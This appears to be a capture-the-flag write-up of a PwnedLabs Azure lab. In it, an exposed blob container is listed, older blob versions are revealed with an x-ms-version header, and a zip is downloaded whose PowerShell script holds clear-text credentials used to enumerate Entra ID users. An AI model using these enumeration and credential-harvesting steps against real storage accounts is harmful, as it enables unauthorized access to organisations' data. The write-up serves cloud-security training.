# Azure Blob Container to Initial Access

In this article, we will explore the [PwnedLabs](https://pwnedlabs.io/labs/azure-blob-container-to-initial-access) Free Azure Blob Container as a potential vector for initial access. Our focus will be on identifying and leveraging any exposed blob storage that could provide a pathway to obtaining user-level access for the Megabigtech platform. We will analyze the configuration and security settings of the Azure Blob storage, evaluate the risks associated with its exposure, and discuss techniques for exploiting these vulnerabilities to gain unauthorized access. Join us as we delve into the methodologies and implications of such an approach in the realm of cloud security.

```bash
# url 
http://dev.megabigtech.com/$web/index.html
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1736594192442/6d76031d-9d18-4ddc-85fd-6f82e3ad8a95.png align="center")

We attempted to use the [MicroBurst](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1) to enumerate the blob, but we didn’t get any results, so now we are proceeding manually.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1736594352689/d4a5c074-bd4e-44c5-89c3-b6ed11df835b.png align="center")

```bash
# we add these query parameters to the blob storage and see what we can find
?restype=container&comp=list

# Full url 
https://mbtwebsite.blob.core.windows.net/$web?restype=container&comp=list
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1736594462350/492171e9-236c-43af-8117-f84a6213017c.png align="center")

Upon investigation, we discovered that only the static CSS and HTML files were available for the hosted website. Unfortunately, there wasn’t anything particularly engaging or noteworthy within the files.

```bash
# We add the query to include versions 
?restype=container&comp=list&include=versions

# Full url 
https://mbtwebsite.blob.core.windows.net/$web?restype=container&comp=list&include=versions
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1736594432429/33fe48c3-1f49-4d50-a5d2-90c57bc744c3.png align="center")

Although our previous attempts have not been entirely successful, we decided to utilize the terminal to incorporate the ‘x-ms-version’ header, specifically set to the date 2019-12-12, as outlined in the [Microsoft documentation](https://learn.microsoft.com/en-us/rest/api/storageservices/list-blobs?tabs=microsoft-entra-id#uri-parameters). By doing this, we finally managed to successfully access the ‘scripts-transfer.zip’ file.

```bash
# Full url 
https://mbtwebsite.blob.core.windows.net/$web?restype=container&comp=list&include=versions

# Terminal command 
 curl -H "x-ms-version: 2019-12-12" 'https://mbtwebsite.blob.core.windows.net/$web?restype=container&comp=list&include=versions'
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1736594034737/6ea1e250-28f8-4354-97e6-5e82a6dcc624.png align="center")

I attempted to download the file using my browser, but unfortunately, that method wasn't successful. As a result, we decided to revert back to using the terminal for the download process. This time, we made sure to include the 'x-ms-version' as a header to ensure compatibility with the server's requirements.

```bash
# Terminal command
curl -H "x-ms-version: 2019-12-12" 'https://mbtwebsite.blob.core.windows.net/$web/scripts-transfer.zip?versionId=2024-03-29T20:55:40.8265593Z'  --output scripts-transfer.zip
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1736594050418/893364aa-d6f0-40d2-9408-9e79b504812c.png align="center")

The zip file contained two PowerShell scripts that include credentials for the Azure portal.

```bash
unzip scripts-transfer.zip
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1736594060999/375b7ff4-62e2-46ab-8b14-f1c56dbb1a44.png align="center")

We use the cat command to list the contents of two files. However, entra\_users.ps1 contains clear text credentials, and running this script would allow us to list all user information.

```bash
cat entra_users.ps1
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1736594070844/d3c82314-4021-465a-835f-d977e6ebe2e0.png align="center")

Before running the script, we need to install the required modules, which are listed at the beginning of the script. Running the script will provide us with a flag that can be found under the job title in one of the user information sections.

```bash
# Install the modules 
Install-Module -Name Az
Install-Module -Name MSAL.PS

# Then we run the script 
.\entra_users.ps1
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1736594087687/7e5fa2d1-f51c-4ac7-b199-bc2da13bd5a9.png align="center")